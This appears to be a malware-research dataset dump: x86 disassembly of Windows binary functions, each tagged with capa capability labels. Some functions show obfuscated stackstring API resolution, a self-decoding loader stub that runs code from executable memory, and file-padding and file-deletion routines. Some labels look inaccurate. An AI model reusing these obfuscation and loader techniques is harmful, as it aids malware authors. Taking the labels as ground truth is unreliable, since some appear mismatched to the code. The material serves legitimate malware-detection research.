joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
mov cl, 0x6c
mov al, 0x65
mov byte [esp + 0x21], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x27], cl
mov cl, 0x74
mov byte [esp + 0x1d], al
mov byte [esp + 0x20], al
mov byte [esp + 0xe], al
mov byte [esp + 0x11], al
mov byte [esp + 0x14], al
mov byte [esp + 0x10], cl
mov byte [esp + 0x16], cl
lea eax, [esp + 0xc]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [esp + 0x20]
mov bl, 0x72
mov dl, 0x6e
push eax
push ecx
mov dword [esi], 0x1001ab74
mov byte [esp + 0x28], 0x6b
mov byte [esp + 0x2a], bl
mov byte [esp + 0x2b], dl
mov byte [esp + 0x2e], 0x33
mov byte [esp + 0x2f], 0x32
mov byte [esp + 0x30], 0x2e
mov byte [esp + 0x31], 0x64
mov byte [esp + 0x34], 0
mov byte [esp + 0x18], 0x43
mov byte [esp + 0x19], bl
mov byte [esp + 0x1b], 0x61
mov byte [esp + 0x1e], 0x45
mov byte [esp + 0x1f], 0x76
mov byte [esp + 0x21], dl
mov byte [esp + 0x23], 0x41
mov byte [esp + 0x24], 0
call edi
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebp
push 0x100185e4
mov ebx, eax
call edi
push 0
push 0
push 0
push 0
mov dword [0x10022fbc], eax
call ebx
xor ebx, ebx
mov dword [esi + 4], eax
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
call fcn.10013250
test al, al
je 0x10013151
mov al, byte [0x10022fb8]
test al, al
jne 0x10013151
mov edx, dword [0x10022fbc]
push 0x10018954
push edx
call ebp
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x80000000
push 0x10022d10
push 0x1001894c
push ebx
call eax
mov ebx, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
mov dword [esi + 0x10], eax
call ebx
add esp, 4
push 0x1001893c
call edi
mov edi, eax
push 0x10018924
push edi
call ebp
mov ecx, dword [esi + 0x10]
push 0
push ecx
push 0
push 0
push 0
push 0
push 0x50000000
push 0x10018918
call eax
push 0x30
mov dword [esi + 0x14], eax
call ebx
add esp, 4
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret
Function at 0x10016470
Capabilities:
Create thread

Disassembly:
sub esp, 0x28
push esi
push edi
mov ecx, 0xa
xor eax, eax
lea edi, [esp + 8]
push 0x7f04
rep stosd dword es:[edi], eax
mov eax, dword [0x10022f90]
xor edi, edi
push eax
mov dword [esp + 0x10], 2
mov dword [esp + 0x14], 0x10016460
mov dword [esp + 0x18], edi
mov dword [esp + 0x1c], edi
mov dword [esp + 0x20], eax
call dword [0x1001a9e8]
mov dword [esp + 0x1c], eax
mov eax, dword [0x10022f90]
push 0x7f8b
push eax
call dword [fcn.1001aa74]
push 2
mov dword [esp + 0x24], eax
call dword [0x1001a9c8]
lea ecx, [esp + 8]
mov dword [esp + 0x24], eax
push ecx
mov dword [esp + 0x2c], 0x66
mov dword [esp + 0x30], 0x10019394
call dword [0x1001a9e4]
mov eax, dword [0x10022f90]
push edi
push eax
push 0x66
push eax
call dword [0x1001a9e0]
push eax
push edi
push 0x80000000
push 0x80000000
push 0x80000000
push 0x80000000
push 0xcf0000
push 0x10019380
push 0x10019394
push edi
call dword [0x1001a9dc]
mov esi, dword [esp + 0x38]
push 0x104
mov edx, dword [esi]
push edx
push 0x10023118
call dword [sym.imp.MSVCRT.dll_strncpy]
mov eax, dword [esi]
push 0x104
push eax
push 0x10023118
call dword [sym.imp.MSVCRT.dll_wcstombs]
add esp, 0x18
push 0x10016410
push 0x10023118
call dword [0x1001a978]
push 1
push edi
push 2
mov dword [0x10022fd4], eax
call fcn.100163b0
push edi
push edi
push 4
call fcn.100163b0
add esp, 0x18
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push edi
push edi
push edi
push 0x100179f0
push edi
push edi
call esi
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
push edi
push edi
push 0x100172b0
push edi
push edi
call esi
mov esi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [0x10018cd0], eax
push edi
push edi
call fcn.10016170
add esp, 8
push 0x3e8
call esi
jmp 0x100165b5

Function at 0x100165d0
Capabilities:
Create directory

Disassembly:
sub esp, 0x104
push ebx
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
mov ebx, dword [esp + 0x114]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
xor esi, esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x1001664f
push ebp
mov ebp, dword [sym.imp.MSVCRT.dll_strncpy]
cmp byte [esi + ebx], 0x5c
jne 0x1001663d
push esi
lea eax, [esp + 0x14]
push ebx
push eax
call ebp
lea ecx, [esp + 0x1c]
push 0
push ecx
call dword [sym.imp.MSVCRT.dll__access]
add esp, 0x14
cmp eax, 0xffffffff
jne 0x1001663d
lea edx, [esp + 0x10]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov edi, ebx
or ecx, 0xffffffff
xor eax, eax
inc esi
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp esi, ecx
jb 0x1001660c
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x104
ret
Function at 0x10016930
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x364
push ebx
push ebp
push esi
push edi
mov ecx, 8
mov esi, 0x10019408
lea edi, [esp + 0x248]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov ecx, 0x42
lea edi, [esp + 0x26b]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov edi, 0x10018cd8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x248]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
xor ebx, ebx
and ecx, 3
mov byte [esp + 0x80], bl
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x40
lea edi, [esp + 0x81]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x100193f8
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x7c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov byte [esp + 0x7f], bl
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea eax, [esp + 0x7c]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
call esi
lea ecx, [esp + 0x7c]
lea edx, [esp + 0x248]
push ecx
push edx
call fcn.10016850
mov ecx, 0x18
xor eax, eax
lea edi, [esp + 0x21]
mov byte [esp + 0x20], bl
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
imul eax, eax, 0x2b67
mov ebp, dword [sym.imp.MSVCRT.dll_sprintf]
push eax
lea eax, [esp + 0x24]
push 0x100193ec
push eax
call ebp
lea ecx, [esp + 0x90]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.100168b0
add esp, 0x1c
lea eax, [esp + 0x7c]
push eax
call esi
mov ecx, 0x31
xor eax, eax
lea edi, [esp + 0x181]
mov byte [esp + 0x180], bl
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
lea edx, [esp + 0x180]
stosw word es:[edi], ax
push ecx
push 0x100193dc
push edx
stosb byte es:[edi], al
call ebp
add esp, 0xc
lea eax, [esp + 0x14]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x180]
push eax
push ecx
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push edx
push 0x80000002
mov dword [esp + 0x38], 1
call dword [fcn.1001a9b4]
push 0x10018f4c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov eax, dword [esp + 0x14]
push 0x10018f4c
push 2
push ebx
push 0x100193d0
push eax
call dword [fcn.1001a9b8]
mov ecx, dword [esp + 0x10]
push ecx
call dword [fcn.1001a9bc]
lea edx, [esp + 0x7c]
lea eax, [esp + 0x18]
push edx
push eax
call fcn.10016850
lea ecx, [esp + 0x84]
lea edx, [esp + 0x250]
push ecx
push edx
call fcn.100168b0
add esp, 0x10
lea eax, [esp + 0x7c]
push eax
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x364
ret
Function at 0x10017080
Capabilities:
Delete file
Get common file path

Disassembly:
call fcn.10016df0
test eax, eax
jne 0x1001708e
call fcn.10016930
call fcn.10016f50
test eax, eax
jne 0x1001709c
jmp fcn.10016b30
ret
Function at 0x100170a0
Capabilities:
Contain obfuscated stackstrings
Set file attributes

Disassembly:
sub esp, 0x440
push ebx
push ebp
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea eax, [esp + 0x18]
push edi
lea ecx, [esp + 0x28]
mov bl, 0x65
push eax
push ecx
mov byte [esp + 0x30], 0x6b
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], 0x72
mov byte [esp + 0x33], 0x6e
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], 0x6c
mov byte [esp + 0x36], 0x33
mov byte [esp + 0x37], 0x32
mov byte [esp + 0x38], 0x2e
mov byte [esp + 0x39], 0x64
mov byte [esp + 0x3a], 0x6c
mov byte [esp + 0x3b], 0x6c
mov byte [esp + 0x3c], 0
mov byte [esp + 0x24], 0x43
mov byte [esp + 0x25], 0x72
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], 0x61
mov byte [esp + 0x28], 0x74
mov byte [esp + 0x29], bl
mov byte [esp + 0x2a], 0x46
mov byte [esp + 0x2b], 0x69
mov byte [esp + 0x2c], 0x6c
mov byte [esp + 0x2d], bl
mov byte [esp + 0x2e], 0x41
mov byte [esp + 0x2f], 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov ebp, eax
lea edx, [esp + 0x10]
lea eax, [esp + 0x38]
push edx
push eax
mov byte [esp + 0x40], 0x6b
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], 0x72
mov byte [esp + 0x43], 0x6e
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], 0x6c
mov byte [esp + 0x46], 0x33
mov byte [esp + 0x47], 0x32
mov byte [esp + 0x48], 0x2e
mov byte [esp + 0x49], 0x64
mov byte [esp + 0x4a], 0x6c
mov byte [esp + 0x4b], 0x6c
mov byte [esp + 0x4c], 0
mov byte [esp + 0x18], 0x57
mov byte [esp + 0x19], 0x72
mov byte [esp + 0x1a], 0x69
mov byte [esp + 0x1b], 0x74
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], 0x46
mov byte [esp + 0x1e], 0x69
mov byte [esp + 0x1f], 0x6c
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], 0
call esi
push eax
call edi
mov ecx, dword [esp + 0x454]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push ecx
mov dword [esp + 0x64], eax
call ebp
mov ebx, eax
cmp ebx, 0xffffffff
je 0x1001729a
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x51]
mov byte [esp + 0x50], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [esp + 0x4c], 0
stosb byte es:[edi], al
call dword [sym.imp.MSVCRT.dll_rand]
cdq
mov ecx, 0x5005
xor edi, edi
idiv ecx
mov ebp, edx
test ebp, ebp
jle 0x10017278
mov edx, edi
and edx, 0x800003ff
jns 0x1001723c
dec edx
or edx, 0xfffffc00
inc edx
jne 0x1001725d
xor esi, esi
call dword [sym.imp.MSVCRT.dll_rand]
add eax, esi
mov ecx, 0xff
cdq
idiv ecx
inc esi
cmp esi, 0x400
mov byte [esp + esi + 0x4f], dl
jl 0x10017240
lea edx, [esp + 0x4c]
push 0
push edx
lea eax, [esp + 0x58]
push 0x400
push eax
push ebx
call dword [esp + 0x5c]
inc edi
cmp edi, ebp
jl 0x1001722a
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x10019050]
mov edx, dword [esp + 0x454]
and ecx, 0xffff
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x440
ret
Function at 0x42105f
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x44e8a8
call fcn.00422e90
call main
movzx esi, ax
push 2
call main
pop ecx
mov eax, 0x5a4d
cmp word [0x400000], ax
je 0x420f16
xor ebx, ebx
jmp 0x420f49
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x420f12
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x420f12
xor ebx, ebx
cmp dword [eax + 0x400074], 0xe
jbe 0x420f49
cmp dword [eax + 0x4000e8], ebx
setne bl
mov dword [ebp - 0x1c], ebx
call fcn.004279ab
test eax, eax
jne 0x420f5d
push 0x1c
call main
pop ecx
call fcn.00427918
test eax, eax
jne 0x420f6e
push 0x10
call main
pop ecx
call fcn.00428296
and dword [ebp - 4], 0
call fcn.004279c0
test eax, eax
jns 0x420f88
push 0x1b
call main
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineW]
mov dword [0x457adc], eax
call main
mov dword [0x455a24], eax
call main
test eax, eax
jns 0x420fae
push 8
call main
pop ecx
call fcn.00427eb1
test eax, eax
jns 0x420fbf
push 9
call main
pop ecx
push 1
call main
pop ecx
test eax, eax
je 0x420fd2
push eax
call main
pop ecx
call fcn.00428714
push esi
push eax
push 0
push 0x400000
call main
mov esi, eax
mov dword [ebp - 0x24], esi
test ebx, ebx
jne 0x420ff4
push esi
call main
call fcn.00426cd7
jmp 0x421029
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
call fcn.00422ed5
ret
call main
jmp 0x420ee8

Function at 0x435896
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x4358a5
pop dword [ebp - 0xc]
mov eax, 0xffcaf43c
sub eax, 0xff879b97
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x95ce92ca
add dword [ebp - 0x1c], 0xb883b281
mov dword [ebp - 0x18], 0x372649f7
sub dword [ebp - 0x18], 0x4f2fdb2
mov dword [ebp - 0x14], 0xa1c9dbea
sub dword [ebp - 0x14], 0x557d97bc
mov dword [ebp - 0x10], 0x22d69686
add dword [ebp - 0x10], 0xdd29697a
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x77b3743f
add eax, 0x88904ded
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x860d8332
sub dword [ebp - 0x1c], 0x119b19dc
mov dword [ebp - 0x18], 0x7fa69e21
sub dword [ebp - 0x18], 0x3e3a3cac
mov dword [ebp - 0x14], 0x4bae364b
add dword [ebp - 0x14], 0x17c13621
mov dword [ebp - 0x10], 0x213f5718
add dword [ebp - 0x10], 0xdec0a8e8
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, 0x2e05daab
add eax, 0xd23de845
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x45f0b
push 0
call eax
mov ecx, 0x25a33197
sub ecx, 0x25a2ead9
mov edi, eax
mov ebx, 0x87461ed6
add ebx, 0x7901372a
add ebx, dword [ebp - 0xc]
mov esi, 0x3bceeb21
add esi, 0xb55fbfa
xor dword [ebp - 4], 0x62eec1aa
mov edx, dword [ebx]
mov dword [ebp - 8], 0x3114d89f
add edx, esi
mov dword [ebp - 8], 0x2be51829
mov dword [edi], edx
mov dword [ebp - 8], 0xd8577c17
add edi, 0x23486509
sub edi, 0x23486505
add ebx, 0x23749431
sub ebx, 0x2374942d
loop 0x4359c7
add eax, 0x37fcad48
add eax, 0xc8046083
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x4f0a56cc
add ecx, 0xb135a934
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x406f70
Capabilities:
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
lea ecx, [eax + eax*8]
lea eax, [eax + ecx*8]
lea eax, [eax + eax*2]
lea esi, [eax + eax*4]
mov eax, dword [0x46b284]
shl esi, 3
mov ecx, dword [esi + eax + 0x14]
test ecx, ecx
ja 0x406f9b
mov ecx, dword [esi + eax + 0x10]
test ecx, ecx
jbe 0x406ff6
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x46a180
call dword [sym.imp.KERNEL32.DLL_CreateFileW]
mov ebx, eax
cmp ebx, 0xffffffff
je 0x406ff6
mov eax, dword [0x46b284]
push 0
mov edx, dword [esi + eax + 0xc]
mov eax, dword [esi + eax + 8]
push edx
push eax
push ebx
call fcn.00406990
mov ecx, dword [0x46b284]
mov edx, dword [esi + ecx + 0x10]
push edx
call fcn.0040fe70
mov edi, eax
add esp, 0x14
test edi, edi
jne 0x406ffc
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
xor eax, eax
pop ebx
ret
mov ecx, dword [0x46b284]
lea eax, [esp + 0x10]
push 0
push eax
mov edx, dword [esi + ecx + 0x10]
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.DLL_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
mov eax, dword [esp + 0x10]
test eax, eax
jbe 0x407069
mov eax, dword [esp + 0x14]
push 0x465070
push eax
call fcn.0040fbb3
mov ebx, eax
add esp, 8
test ebx, ebx
jne 0x40704c
push edi
call fcn.0040fa4a
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
ret
mov ecx, dword [0x46b284]
push ebx
push 1
mov edx, dword [esi + ecx + 0x10]
push edx
push edi
call fcn.0041038f
push ebx
call fcn.0040f9cd
add esp, 0x14
push edi
call fcn.0040fa4a
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
ret
Function at 0x407080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x828
push ebx
push ebp
mov ebp, dword [esp + 0x834]
push esi
push edi
mov edi, dword [esp + 0x844]
lea eax, [ebp + ebp*8]
mov dword [edi], 0
mov dword [edi + 4], 0
lea eax, [ebp + eax*8]
lea eax, [eax + eax*2]
lea esi, [eax + eax*4]
mov eax, dword [0x46b284]
shl esi, 3
mov ecx, dword [esi + eax + 0x14]
test ecx, ecx
ja 0x4070cf
mov ecx, dword [esi + eax + 0x10]
test ecx, ecx
jbe 0x40723b
mov ebx, dword [esp + 0x840]
push ebx
push 0x104
call dword [sym.imp.KERNEL32.DLL_GetTempPathW]
push ebx
call fcn.004101c2
add esp, 4
cmp word [ebx + eax*2 - 2], 0x5c
je 0x407101
push 0x465634
push ebx
call fcn.0040fb33
add esp, 8
lea ecx, [esp + 0x18]
lea edx, [esp + 0x220]
push ecx
push edx
mov edx, dword [0x46b284]
lea eax, [esp + 0x430]
push eax
lea ecx, [esp + 0x63c]
lea eax, [esi + edx + 0x1c]
push ecx
push eax
call fcn.004105a7
lea ecx, [esp + 0x234]
push ecx
push ebx
call fcn.0040fb33
lea edx, [esp + 0x34]
push edx
push ebx
call fcn.0040fb33
mov eax, dword [0x46b284]
add esp, 0x24
add eax, esi
mov ecx, dword [eax]
cmp ecx, 0x1a
je 0x4071e5
cmp ecx, 0x22
je 0x4071e5
cmp ecx, 0x33
je 0x4071e5
cmp ecx, 0xa
je 0x4071e5
cmp ecx, 0x32
je 0x4071e5
cmp ecx, 0x59
je 0x4071e5
cmp ecx, 0x1f
je 0x4071e5
mov ecx, dword [eax + 8]
mov dword [edi], ecx
mov edx, dword [eax + 0xc]
mov dword [edi + 4], edx
mov ecx, dword [0x46b284]
mov edx, dword [edi]
mov eax, dword [esi + ecx + 0x10]
mov ecx, dword [esi + ecx + 0x14]
add eax, edx
mov edx, dword [edi + 4]
adc ecx, edx
mov dword [esp + 0x14], ecx
jne 0x4071bd
cmp eax, 0x7fffffff
jae 0x4071bd
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x828
ret
mov dword [edi], 0
mov dword [edi + 4], 0
push ebx
call fcn.00410215
push ebx
push ebp
call fcn.00406f70
add esp, 0xc
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x828
ret
mov eax, dword [0x469a74]
test eax, eax
je 0x407210
push 0x46b4c0
push ebx
call fcn.004104c8
add esp, 8
test eax, eax
jne 0x407210
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x828
ret
mov eax, dword [0x469a70]
test eax, eax
je 0x4071ca
push 0x469f60
push ebx
call fcn.004104c8
add esp, 8
test eax, eax
jne 0x4071ca
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x828
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x828
ret
Function at 0x407970
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [0x469a70]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407aa7
mov ecx, dword [0x469a70]
push ebx
push esi
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
push edi
push 0
push 0
push 0x469
push ecx
call esi
mov edx, dword [0x469a70]
push 0
push 0
push 0x467
push edx
mov edi, eax
call esi
sub edi, eax
mov eax, 0x66666667
imul edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
push 0x11
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
mov ebx, edx
call edi
test ax, ax
jge 0x4079e0
mov eax, ebx
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
push 0x10
call edi
test ax, ax
jge 0x4079fc
mov eax, 0x66666667
imul ebx
sar edx, 2
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
mov ebx, edx
cmp ebx, 1
jg 0x407a06
mov ebx, 1
mov edx, dword [0x469a70]
push 0
push 0x65
push 0x808
push edx
call esi
mov eax, dword [0x469a70]
push 0
push 0
push 0x4ca
push eax
call esi
mov edi, eax
mov eax, dword [esp + 0x10]
cmp ax, 1
jne 0x407a39
add edi, ebx
jmp 0x407a40
test ax, ax
jne 0x407a40
sub edi, ebx
mov ecx, dword [0x469a70]
push 0
push 0
push 0x469
push ecx
call esi
cmp edi, eax
jle 0x407a6a
mov edx, dword [0x469a70]
push 0
push 0
push 0x469
push edx
call esi
mov edi, eax
test edi, edi
jge 0x407a81
mov eax, dword [0x469a70]
push 0
push 0
push 0x467
push eax
call esi
mov edi, eax
mov ecx, dword [0x469a70]
push edi
push 0
push 0x807
push ecx
call esi
mov edx, dword [0x469a70]
push 0
push 0
push 0x806
push edx
call esi
pop edi
pop esi
pop ebx
ret

Function at 0x407b80
Capabilities:
Hide graphical window

Disassembly:
mov eax, dword [0x469a78]
push eax
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x407bef
mov ecx, dword [0x469a78]
push esi
push 0
push ecx
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword [esp + 0x14]
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
test eax, eax
je 0x407bd3
mov edx, dword [esp + 0x10]
mov eax, dword [0x469a78]
push edx
push eax
call fcn.00405da0
mov ecx, dword [esp + 0x14]
add esp, 4
and eax, 0xffff
push eax
push 0x72d
push ecx
call esi
mov edx, dword [esp + 0x18]
mov eax, dword [0x469a78]
neg edx
sbb edx, edx
push 0
and edx, 0x65
push edx
push 0x72c
push eax
call esi
pop esi
ret
Function at 0x4177c8
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x468690
cmp edx, dword [eax]
je 0x4177ea
add eax, 8
inc ecx
cmp eax, 0x468720
jl 0x4177db
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x468690]
jne 0x417918
mov eax, dword [0x469ab4]
cmp eax, 1
je 0x4178f2
test eax, eax
jne 0x41781b
cmp dword [0x465e00], 1
je 0x4178f2
cmp edx, 0xfc
je 0x417918
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x417852
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00416420
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.004171e0
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x417895
lea eax, [ebp - 0x1a4]
push eax
call fcn.004171e0
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x43fa34
push edi
call fcn.00419540
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00416420
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00416430
lea eax, [ebp - 0xa0]
push 0x43fa14
push eax
call fcn.00416430
push dword [esi + 0x468694]
lea eax, [ebp - 0xa0]
push eax
call fcn.00416430
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0041ab0e
add esp, 0x2c
pop edi
jmp 0x417918
lea eax, [ebp + 8]
lea esi, [esi + 0x468694]
push 0
push eax
push dword [esi]
call fcn.004171e0
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret

Function at 0x41bf70
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x14], 0xca
jne 0x41bfa0
push esi
call fcn.0041e660
mov al, byte [esi + 0x40]
add esp, 4
test al, al
je 0x41bf99
mov dword [esi + 0x14], 0xcf
mov al, 1
pop esi
ret
mov dword [esi + 0x14], 0xcb
mov eax, dword [esi + 0x14]
cmp eax, 0xcb
jne 0x41c023
mov eax, dword [esi + 0x190]
mov cl, byte [eax + 0x10]
test cl, cl
je 0x41c00f
mov eax, dword [esi + 8]
test eax, eax
je 0x41bfc4
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x190]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x41c00b
cmp eax, 2
je 0x41c00f
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x41bfb7
cmp eax, 3
je 0x41bfea
cmp eax, 1
jne 0x41bfb7
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x41bfb7
mov edx, dword [esi + 0x11c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x41bfb7
xor al, al
pop esi
ret
mov eax, dword [esi + 0x7c]
push esi
mov dword [esi + 0x84], eax
call fcn.0041c050
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x41c043
mov ecx, dword [esi]
push esi
mov dword [ecx + 0x14], 0x13
mov edx, dword [esi]
mov eax, dword [esi + 0x14]
mov dword [edx + 0x18], eax
mov ecx, dword [esi]
call dword [ecx]
add esp, 4
push esi
call fcn.0041c050
add esp, 4
pop esi
ret